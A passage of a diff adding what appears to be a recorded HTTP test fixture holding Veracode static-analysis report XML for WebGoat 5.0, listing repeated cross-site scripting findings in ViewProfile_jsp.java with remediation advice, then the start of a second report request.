+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:17:36 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/detailedreport.do?build_id=44905
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '200074'
+      Date:
+      - Tue, 27 Oct 2015 12:17:40 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<detailedreport xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
+        xmlns=\"https://www.veracode.com/schema/reports/export/1.0\" xsi:schemaLocation=\"https://www.veracode.com/schema/reports/export/1.0
+        https://analysiscenter.veracode.com/resource/detailedreport.xsd\" report_format_version=\"1.5\"
+        app_name=\"WebGoat\" app_id=\"32338\" first_build_submitted_date=\"2012-02-29
+        16:17:16 UTC\" version=\"5.0\" build_id=\"44905\" submitter=\"Veracode\" platform=\"Java\"
+        assurance_level=\"5\" business_criticality=\"5\" generation_date=\"2015-10-27
+        12:17:39 UTC\" veracode_level=\"VL1\" total_flaws=\"190\" flaws_not_mitigated=\"190\"
+        teams=\"\" life_cycle_stage=\"External or Beta Testing\" planned_deployment_date=\"\"
+        last_update_time=\"2012-03-01 15:03:51 UTC\" is_latest_build=\"true\" policy_name=\"Demo
+        Policy\" policy_version=\"3\" policy_compliance_status=\"Did Not Pass\" policy_rules_status=\"Did
+        Not Pass\" grace_period_expired=\"true\" scan_overdue=\"true\" business_owner=\"\"
+        business_unit=\"Not Specified\" tags=\"\" legacy_scan_engine=\"false\">\n<static-analysis
+        rating=\"D\" score=\"69\" submitted_date=\"2012-02-29 16:16:57 UTC\" published_date=\"2012-03-01
+        14:26:18 UTC\" next_scan_due=\"2012-04-01 13:26:18 UTC\" analysis_size_bytes=\"3734905\">\n<modules>\n<module
+        name=\"WebGoat-5.0-with-jsp.war\" compiler=\"JAVAC_6\" os=\"Java J2SE 6\"
+        architecture=\"JVM\" loc=\"142966\" score=\"69\" numflawssev0=\"117\" numflawssev1=\"0\"
+        numflawssev2=\"14\" numflawssev3=\"19\" numflawssev4=\"21\" numflawssev5=\"2\"/>\n</modules>\n</static-analysis>\n<dynamic-analysis
